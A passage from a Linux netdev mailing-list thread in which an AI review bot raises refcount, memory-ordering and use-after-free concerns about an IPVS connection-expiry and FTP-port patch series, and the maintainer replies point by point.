ip_vs_conn_unlink(ct, false). For ONE_PACKET, that function returns true
right after refcount_dec_if_one() and never calls timer_delete():

	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
		return true;

Would the walk then free ct at once, while ct->timer is still pending in
the timer wheel?

There is also the other order. If ct's own timer callback on another CPU
frees it first, wouldn't the walk read and write ct->n_control, flags,
state, timeout and refcnt on freed memory?

Before the series, the code took a reference on ct (has_ref) and gated
deletion on timer_delete() in ip_vs_conn_del_put(). The preceding patch,
"ipvs: wait the running timer cb on conn deletion", replaced that with
rcu_read_lock(). This patch keeps that approach and widens the window to
cover the whole cp cleanup before goto repeat.

>  			}
> -			rcu_read_unlock();
>  		}
>  
>  		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
> @@ -1405,7 +1409,12 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		else
>  			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
>  		atomic_dec(&ipvs->conn_count);
> -		return;
> +		if (next) {
> +			cp = ct;
> +			my_cb = false;
> +			goto repeat;
> +		}

[Severity: High]
With my_cb now false, every controller in the chain goes through
ip_vs_conn_unlink(ct, false). Can the failure path there leave ct with a
saturated refcount?

ip_vs_conn_unlink() drops the count to zero before it revalidates:

net/netfilter/ipvs/ip_vs_conn.c:ip_vs_conn_unlink() {
	if (!refcount_dec_if_one(&cp->refcnt))
		return false;
	...
	if (atomic_read(&cp->n_control) ||
	    (!timer_delete(&cp->timer) && !my_cb)) {
		...
		refcount_inc(&cp->refcnt);
		return false;
	}
	...
}

Calling refcount_inc() on zero goes through __refcount_add(). That sees
old == 0 and calls refcount_warn_saturate(r, REFCOUNT_ADD_UAF), which
warns "addition on 0; use-after-free". The counter is left at
REFCOUNT_SATURATED instead of going back to 1.

The new loop seems to reach this in two ways:

  - ct's own timer callback is already running on another CPU, so
    timer_delete() returns 0 while my_cb is false.

  - A packet takes ct with __ip_vs_conn_get(), then calls
    ip_vs_control_add() and ip_vs_conn_put(), between the n_control
    check at repeat: and refcount_dec_if_one(). This can also happen on
    the plain timer path of a persistence template while a new client
    connection arrives.

Once the counter is saturated, refcount_dec_if_one() can never succeed,
but __ip_vs_conn_get() still does. The connection keeps going through
expire_later and getting re-armed, and it is never freed.

Wouldn't ip_vs_conn_flush() then loop forever during netns cleanup?

net/netfilter/ipvs/ip_vs_conn.c:ip_vs_conn_flush() {
	...
	if (atomic_read(&ipvs->conn_count) != 0) {
		schedule();
		goto flush_again;
	}
	...
}

This restore path came from the preceding patch in the series, "ipvs:
wait the running timer cb on conn deletion", and this commit message
relies on it. The later patch, "ipvs: reject FTP control ports as data
ports", doesn't touch ip_vs_conn.c.

Every lookup uses refcount_inc_not_zero(). Would refcount_set(&cp->refcnt,
1) be a safe way to restore the count here?

> +		goto out;
>  	}
>  
>    expire_later:

[ ... ]

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790146910.git.zihanx%40nebusec.ai

Re: [PATCH nf v4 3/3] ipvs: reject FTP control ports as data ports

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found more severe
issue(s) in other patches of this series. This mail is only an FYI, in case
you want to address the nit picks below when you respin.

Low priority / nit picks for your consideration:

- [Low] The commit message is imprecise, and for a Cc: stable fix it
  leaves out the impact.

--

ipvs: reject FTP control ports as data ports

With this patch, ip_vs_ftp_out() will not create a passive-mode data
connection if the port advertised by the server is zero or is one of the
configured FTP control ports. It also changes ip_vs_ftp_in() so that
active-mode handling is refused when the client port is zero or when
vport - 1 is a configured control port.

> ip_vs_ftp_out() creates a wildcard data connection from the
> server-advertised passive port. If that port is one of the configured FTP
> control ports, ip_vs_conn_new() binds the FTP helper to the new connection
> again. A subsequent wildcard lookup can then extend a controlled-connection
> chain.
>
> Reject zero and configured control ports before creating passive
> connections. For active mode, reject a zero client port and a data port
> derived from a configured control port.

[Severity: Low]
This is tagged for stable. Could the commit message say what goes wrong
once the controlled-connection chain gets extended?

The earlier patch in this series, "ipvs: avoid stack overflow from
recursive connection expiration", points to the actual consequence. That
consequence is chains of controlled connections pinned through n_control,
and stack exhaustion from recursive ip_vs_conn_expire(). This message does
not mention that, or any dependency on that patch.

The message also doesn't say where the trigger comes from. In passive mode
the port comes from the real server's 227/229 reply. The active case needs
an admin configuration where vport - 1 is also a configured FTP port.

Is the active-mode sentence accurate? Every active-mode data port is
derived from a configured control port. The data port is vport - 1, and
vport is always a configured FTP port, because tcp_app_conn_bind() only
binds the helper when:

    if (inc->port == cp->vport) {

Read literally, the sentence says all active transfers are rejected. The
code in ip_vs_ftp_in() only rejects them when the derived port is itself
a configured control port:

    if (!port || is_control_port(ntohs(cp->vport) - 1))
        return 0;

Could this be reworded along the lines of "reject a derived data port
(vport - 1) that is itself a configured control port"?

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790146910.git.zihanx%40nebusec.ai

Re: [PATCH nf v4 1/3] ipvs: wait the running timer cb on conn deletion

[Julian Anastasov]

[-- Attachment #1: Type: text/plain, Size: 10124 bytes --]


	Hello,

On Sun, 27 Sep 2026, netdev-bot+sashiko@kernel.org wrote:

> Thank you for your contribution! Sashiko AI review found 5 potential
> issue(s) to consider.
> 
> Critical: 0 · High: 1 · Medium: 2 · Low: 2
> 
> If you believe none of the issues are legitimate, please reply to each
> issue of Medium severity or higher and explain why the AI is wrong.
> If any of them are legitimate and you plan to respin, please let patchwork
> know by including "pw-bot: cr" as a separate line at the end of your reply
> (one such reply per series is enough).
> 
> - [High] In ip_vs_conn_unlink() (net/netfilter/ipvs/ip_vs_conn.c), the
>   new abort path tries to put the refcount back to 1 with…
> - [Medium] In ip_vs_conn_unlink(), the new check of
>   atomic_read(&cp->n_control) after the decrement has no acquire…
> - [Medium] ip_vs_conn_unlink() now does refcount_dec_if_one() before its
>   revalidation, and on the restore path the connection stays alive.
> - [Low] Commit message accuracy.
> - [Low] The comment in ip_vs_conn_expire_now() still refers to "the final
>   timer_delete in ip_vs_conn_expire".

	Although the review is for v4 and there is also v5,
some of the concerns are still valid and we should post
v6 to fix the problems. I'll answer the questions below...

> --
> 
> ipvs: wait the running timer cb on conn deletion
> 
> This patch changes ip_vs_conn_unlink() to drop the refcount from 1 to 0
> first. It then rechecks n_control and timer_delete(), and if either check
> fails it restores the refcount and returns false. ip_vs_conn_del() now
> always calls ip_vs_conn_expire() with a tagged timer pointer to mark the
> deletion path, and ip_vs_conn_del_put() is replaced by RCU protection for
> the cp->control chain.
> 
> Link: https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai
> 
> > ipvs: wait the running timer cb on conn deletion
> 
> [Severity: Low]
> 
> This isn't a bug, but the subject says the deletion path waits for the
> running timer callback. ip_vs_conn_unlink() doesn't wait, since there is no
> timer_delete_sync(). It fails and leaves the work to a later timer run, as
> the body describes. Would a word like "defer" describe this better?

	I'll change the title and the text to be more precise.

> 
> > As ip_vs_conn_del*() run under RCU lock
> > there is no risk accessing a freed connection by
> > concurrent timer callback as Sashiko warns, may
> > be only if our timer expires and we try to delete
> > the cp->control chain.
> 
> This seems to contradict the sentence before it, which says the callback
> risked accessing the deleted connection after it was freed. Could it be
> reworded?
> 
> The body also doesn't say that ip_vs_conn_del() now calls
> ip_vs_conn_expire() without first needing timer_delete() to succeed. Could
> that be mentioned?

	Yep

> 
> > diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> > index 6fa3e1dc534c3..32cfc02aa2912 100644
> > --- a/net/netfilter/ipvs/ip_vs_conn.c
> > +++ b/net/netfilter/ipvs/ip_vs_conn.c
> > @@ -313,17 +313,34 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)
> >  /* Try to unlink ip_vs_conn from conn_tab.
> >   * returns bool success.
> >   */
> > -static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
> > +static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp, bool my_cb)
> >  {
> 
> [ ... ]
> 
> > +	if (!refcount_dec_if_one(&cp->refcnt))
> > +		return false;
> > +
> 
> [Severity: Medium]
> 
> The decrement now happens before the revalidation. That means a conn that
> is still hashed, and may end up staying alive, briefly has refcnt == 0.
> Can lookups miss it during that window?
> 
> __ip_vs_conn_in_get() and ip_vs_ct_in_get() skip entries where
> __ip_vs_conn_get() fails:
> 
> 	if (__ip_vs_conn_get(cp)) {
> 		/* HIT */
> 
> Take a template or FTP control conn whose timer fires while it is gaining
> a controlled conn. The n_control check below restores the refcount and the
> conn stays alive.
> 
> A packet arriving in that window could miss the template and create a
> duplicate one, possibly for a different real server. A mid-stream packet
> could also miss its FTP control conn.

	This race needs a separate solution.

> Before this patch, a successful refcount_dec_if_one() always led straight
> to the unlink under the bucket lock. A failed lookup could only affect a
> conn that was really going away.

	As the n_control reference is secondary, we can simply crash
if not checking for n_control after refcount_dec_if_one()

> >  	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
> > -		return refcount_dec_if_one(&cp->refcnt);
> > +		return true;
> > +
> > +	/* Revalidate after conn is excluded from traffic:
> > +	 * - not controlling other conns
> > +	 * - no pending/running timer callback
> > +	 *
> > +	 * And the winner is ...
> > +	 */
> > +	if (atomic_read(&cp->n_control) ||
> > +	    (!timer_delete(&cp->timer) && !my_cb)) {
> > +		/* Not me? Give the timer callback another chance, even
> > +		 * if one is concurrently running during the conn deletion.
> > +		 */
> > +		refcount_inc(&cp->refcnt);
> > +		return false;
> > +	}
> 
> [Severity: High]
> 
> Does this refcount_inc() actually bring refcnt back to 1?
> refcount_dec_if_one() has already moved it from 1 to 0, and refcount_t
> does not allow an increment from 0:
> 
> include/linux/refcount.h:__refcount_add() {
> 	int old = atomic_fetch_add_relaxed(i, &r->refs);
> 	...
> 	if (unlikely(!old))
> 		refcount_warn_saturate(r, REFCOUNT_ADD_UAF);
> 	...
> }
> 
> This prints "refcount_t: addition on 0; use-after-free".
> refcount_warn_saturate() then sets refcnt to REFCOUNT_SATURATED, not 1.
> 
> >From then on, refcount_dec_if_one() can never succeed for this conn, so
> neither the timer path nor ip_vs_conn_del() can free it.
> 
> When the timer runs, the __ip_vs_conn_get() in expire_later succeeds on
> the saturated value, and __ip_vs_conn_put_timer() re-arms the timer for
> 60*HZ. The conn never reaches call_rcu(), and ipvs->conn_count is never
> decremented. The dest, conntrack and app references are never dropped
> either.
> 
> Wouldn't ip_vs_conn_flush() then loop forever at netns teardown?
> 
> 	if (atomic_read(&ipvs->conn_count) != 0) {
> 		schedule();
> 		goto flush_again;
> 	}
> 
> There seem to be two ways to get here. The first is the race this patch
> is meant to fix:
> 
> CPU X                         CPU Y
> cp->timer fires               ip_vs_conn_del(cp)
> ip_vs_conn_expire(cp)           ip_vs_conn_expire()
>                                   ip_vs_conn_unlink(cp, false)
>                                     refcount_dec_if_one() 1 -> 0
>                                     timer_delete() returns 0
>                                     refcount_inc() on refcnt 0
> 
> CPU Y can be in ip_vs_conn_flush(), ip_vs_random_dropentry() or the
> expire_nodest_conn flush.
> 
> The second is a template or FTP control conn ct:
> 
> - Its timer passes the early n_control == 0 check.
> - Meanwhile another CPU runs ip_vs_ct_in_get()->ip_vs_control_add() and
>   then ip_vs_conn_put(ct).
> - The timer's refcount_dec_if_one() then succeeds, but n_control is now
>   non-zero.
> - refcount_inc() then runs on 0 again.
> 
> Both cases in the commit message ("One of two things can happen when we
> detect the running callback") assume refcnt goes back to 1.
> 
> Was refcount_set(&cp->refcnt, 1) intended here? While refcnt is 0,
> refcount_inc_not_zero() and refcount_dec_if_one() fail in every other
> context.

	Yes, we already have refcount_set(&cp->refcnt, 1) in v5
instead of refcount_inc(), I overlooked the problem with the
saturation in v4.

> 
> [Severity: Medium]
> 
> Is the atomic_read(&cp->n_control) recheck ordered after
> refcount_dec_if_one()? That function is only a release cmpxchg:
> 
> lib/refcount.c:refcount_dec_if_one() {
> 	...
> 	return atomic_try_cmpxchg_release(&r->refs, &val, 0);
> }
> 
> A control dependency on its result orders later stores but not later
> loads. Unlike refcount_dec_and_test(), there is no
> smp_acquire__after_ctrl_dep() here.
> 
> Consider a template ct with refcnt 2:
> 
> CPU B                               CPU A (ct timer callback)
>                                     ip_vs_conn_expire(ct)
>                                       n_control == 0 check passes
> ip_vs_control_add(cp2, ct)
>   atomic_inc(&ct->n_control)
> ip_vs_conn_put(ct)
>   mod_timer()
>   refcnt 2 -> 1 (release)
>                                     ip_vs_conn_unlink(ct, true)
>                                       refcount_dec_if_one() 1 -> 0
>                                       atomic_read(&ct->n_control)
>                                         may still observe 0
> 
> On arm64 or powerpc, can ct then be unlinked and passed to call_rcu()
> while cp2->control still points at it? When cp2 later expires,
> ip_vs_control_del(cp2) would read and decrement ct->n_control in freed
> memory.
> 
> Is an smp_acquire__after_ctrl_dep() (or smp_rmb()) needed after a
> successful refcount_dec_if_one() and before reading n_control?

	Yep, I'll add smp_acquire__after_ctrl_dep() in v6

> 
> [ ... ]
> 
> > @@ -1356,26 +1364,21 @@ static void ip_vs_conn_expire(struct timer_list *t)
> >  		goto expire_later;
> >  
> >  	/* Unlink conn if not referenced anymore */
> > -	if (likely(ip_vs_conn_unlink(cp))) {
> > +	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
> >  		struct ip_vs_conn *ct = cp->control;
> >  
> > -		/* delete the timer if it is activated by other users */
> > -		timer_delete(&cp->timer);
> > -
> 
> [Severity: Low]
> 
> This isn't a bug, but a comment in ip_vs_conn_expire_now() still refers to
> this call:
> 
> 	/* Using mod_timer_pending will ensure the timer is not
> 	 * modified after the final timer_delete in ip_vs_conn_expire.
> 	 */
> 
> With this timer_delete() removed, the one that remains is the conditional
> call in ip_vs_conn_unlink(). Could the comment be updated to point there?

	Yep

> [ ... ]
> 
> -- 
> Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790146910.git.zihanx%40nebusec.ai

Regards

--
Julian Anastasov <ja@ssi.bg>

Re: [PATCH nf v4 2/3] ipvs: avoid stack overflow from recursive connection expiration

[Julian Anastasov]

[-- Attachment #1: Type: text/plain, Size: 8912 bytes --]


	Hello,

On Sun, 27 Sep 2026, netdev-bot+sashiko@kernel.org wrote:

> Thank you for your contribution! Sashiko AI review found 3 potential
> issue(s) to consider.
> 
> Critical: 0 · High: 2 · Medium: 0 · Low: 1
> 
> If you believe none of the issues are legitimate, please reply to each
> issue of Medium severity or higher and explain why the AI is wrong.
> If any of them are legitimate and you plan to respin, please let patchwork
> know by including "pw-bot: cr" as a separate line at the end of your reply
> (one such reply per series is enough).
> 
> - [High] The failure path in ip_vs_conn_unlink() saturates the refcount
>   instead of restoring it.
> - [High] The controller walk in ip_vs_conn_expire() relies on RCU to keep
>   ct alive.
> - [Low] An undeclared stable dependency.
> 
> --
> 
> ipvs: avoid stack overflow from recursive connection expiration
> 
> This commit removes the recursive ip_vs_conn_del(ct) call in
> ip_vs_conn_expire(). Instead, once the current connection is cleaned up,
> the function carries on expiring its controller in a loop. The whole walk
> runs under one rcu_read_lock(), and every later iteration runs with my_cb
> set to false (deletion mode).
> 
> > This keeps controlled-connection cleanup synchronous while using one stack
> > frame for the whole chain. The timer callback race during connection
> > deletion is handled by the preceding refcount fix.
> >
> > Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
> > Cc: stable@vger.kernel.org
> 
> [Severity: Low]
> This patch is tagged for stable, but it only works on top of the
> preceding patch, "ipvs: wait the running timer cb on conn deletion".
> That patch adds:
> 
>   - ip_vs_conn_unlink(cp, my_cb)
>   - the tagged-pointer my_cb decoding in ip_vs_conn_expire()
>   - the new ip_vs_conn_del()
>   - the timer callback revalidation
> 
> The prerequisite has a Fixes: tag but no Cc: stable. This commit message
> only calls it "the preceding refcount fix".
> 
> Could the prerequisite also be tagged for stable, and named here by title
> or as a stable dependency?
> 
> If this loop were backported alone, or adapted onto the old
> ip_vs_conn_del()/ip_vs_conn_del_put() layout, ct would be expired
> synchronously with my_cb set to false. Nothing would then guard against
> ct's own timer callback running at the same time.
> 
> > diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> > index 32cfc02aa2912..f85752e79ed92 100644
> > --- a/net/netfilter/ipvs/ip_vs_conn.c
> > +++ b/net/netfilter/ipvs/ip_vs_conn.c
> > @@ -1357,6 +1357,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
> >  	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
> >  	struct netns_ipvs *ipvs = cp->ipvs;
> >  
> > +	rcu_read_lock();
> > +
> > +repeat:
> >  	/*
> >  	 *	do I control anybody?
> >  	 */
> > @@ -1366,19 +1369,20 @@ static void ip_vs_conn_expire(struct timer_list *t)
> >  	/* Unlink conn if not referenced anymore */
> >  	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
> >  		struct ip_vs_conn *ct = cp->control;
> > +		bool next = false;
> >  
> >  		/* does anybody control me? */
> >  		if (ct) {
> > -			rcu_read_lock();
> >  			ip_vs_control_del(cp);
> >  			/* Drop CTL or non-assured TPL if not used anymore */
> >  			if (!cp->timeout && !atomic_read(&ct->n_control) &&
> >  			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
> >  			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
> >  				IP_VS_DBG(4, "drop controlling connection\n");
> > -				ip_vs_conn_del(ct);
> > +				if (ct->control)
> > +					ct->timeout = 0;
> > +				next = true;
> 
> [Severity: High]
> Is RCU enough to keep ct alive here when the controller has
> IP_VS_CONN_F_ONE_PACKET set?
> 
> After ip_vs_control_del() drops ct->n_control to zero, the walk keeps
> using ct without holding a reference. It touches n_control, flags, state
> and timeout, and later refcnt via ip_vs_conn_unlink(). A ONE_PACKET
> connection is freed right away, not after a grace period:
> 
> 	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
> 		ip_vs_conn_rcu_free(&cp->rcu_head);
> 	else
> 		call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
> 
> Such a controller can be built. IP_VS_CONN_F_DEST_MASK includes
> IP_VS_CONN_F_ONE_PACKET, and the legacy sockopt path copies the flags
> unfiltered in ip_vs_copy_udest_compat():
> 
> 	udest->conn_flags	= udest_compat->conn_flags;
> 
> ip_vs_bind_dest() then passes dest->conn_flags on to UDP persistence
> templates.
> 
> Suppose a destination update clears the flag between the template's and
> the child's ip_vs_conn_new() calls in ip_vs_sched_persist(). An unhashed
> ONE_PACKET template then controls a hashed normal child. While n_control
> is above zero, the template's timer is re-armed every jiffy, because
> __ip_vs_conn_put_timer() uses a timeout of 0 for ONE_PACKET.
> 
> Now suppose the child is deleted through ip_vs_conn_del() by flush,
> drop_entry or nodest. cp->timeout is 0, so next is set and the walk calls
> ip_vs_conn_unlink(ct, false). For ONE_PACKET, that function returns true
> right after refcount_dec_if_one() and never calls timer_delete():
> 
> 	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
> 		return true;
> 
> Would the walk then free ct at once, while ct->timer is still pending in
> the timer wheel?
> 
> There is also the other order. If ct's own timer callback on another CPU
> frees it first, wouldn't the walk read and write ct->n_control, flags,
> state, timeout and refcnt on freed memory?
> 
> Before the series, the code took a reference on ct (has_ref) and gated
> deletion on timer_delete() in ip_vs_conn_del_put(). The preceding patch,
> "ipvs: wait the running timer cb on conn deletion", replaced that with
> rcu_read_lock(). This patch keeps that approach and widens the window to
> cover the whole cp cleanup before goto repeat.

	With the pending patch "ipvs: do not create invisible templates"
we should disallow ONE_PACKET for templates. Other patches do the same
for the SYNC conns. In short, we should not see ONE_PACKET for
templates and in the cp->control chain. Hopefully, the mentioned patches 
should go before this patchset.

> >  			}
> > -			rcu_read_unlock();
> >  		}
> >  
> >  		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
> > @@ -1405,7 +1409,12 @@ static void ip_vs_conn_expire(struct timer_list *t)
> >  		else
> >  			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
> >  		atomic_dec(&ipvs->conn_count);
> > -		return;
> > +		if (next) {
> > +			cp = ct;
> > +			my_cb = false;
> > +			goto repeat;
> > +		}
> 
> [Severity: High]
> With my_cb now false, every controller in the chain goes through
> ip_vs_conn_unlink(ct, false). Can the failure path there leave ct with a
> saturated refcount?
> 
> ip_vs_conn_unlink() drops the count to zero before it revalidates:
> 
> net/netfilter/ipvs/ip_vs_conn.c:ip_vs_conn_unlink() {
> 	if (!refcount_dec_if_one(&cp->refcnt))
> 		return false;
> 	...
> 	if (atomic_read(&cp->n_control) ||
> 	    (!timer_delete(&cp->timer) && !my_cb)) {
> 		...
> 		refcount_inc(&cp->refcnt);
> 		return false;
> 	}
> 	...
> }
> 
> Calling refcount_inc() on zero goes through __refcount_add(). That sees
> old == 0 and calls refcount_warn_saturate(r, REFCOUNT_ADD_UAF), which
> warns "addition on 0; use-after-free". The counter is left at
> REFCOUNT_SATURATED instead of going back to 1.
> 
> The new loop seems to reach this in two ways:
> 
>   - ct's own timer callback is already running on another CPU, so
>     timer_delete() returns 0 while my_cb is false.
> 
>   - A packet takes ct with __ip_vs_conn_get(), then calls
>     ip_vs_control_add() and ip_vs_conn_put(), between the n_control
>     check at repeat: and refcount_dec_if_one(). This can also happen on
>     the plain timer path of a persistence template while a new client
>     connection arrives.
> 
> Once the counter is saturated, refcount_dec_if_one() can never succeed,
> but __ip_vs_conn_get() still does. The connection keeps going through
> expire_later and getting re-armed, and it is never freed.
> 
> Wouldn't ip_vs_conn_flush() then loop forever during netns cleanup?
> 
> net/netfilter/ipvs/ip_vs_conn.c:ip_vs_conn_flush() {
> 	...
> 	if (atomic_read(&ipvs->conn_count) != 0) {
> 		schedule();
> 		goto flush_again;
> 	}
> 	...
> }
> 
> This restore path came from the preceding patch in the series, "ipvs:
> wait the running timer cb on conn deletion", and this commit message
> relies on it. The later patch, "ipvs: reject FTP control ports as data
> ports", doesn't touch ip_vs_conn.c.
> 
> Every lookup uses refcount_inc_not_zero(). Would refcount_set(&cp->refcnt,
> 1) be a safe way to restore the count here?

	This is solved in patch 1 from v5

> > +		goto out;
> >  	}
> >  
> >    expire_later:
> 
> [ ... ]
> 
> -- 
> Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790146910.git.zihanx%40nebusec.ai
> 

Regards

--
Julian Anastasov <ja@ssi.bg>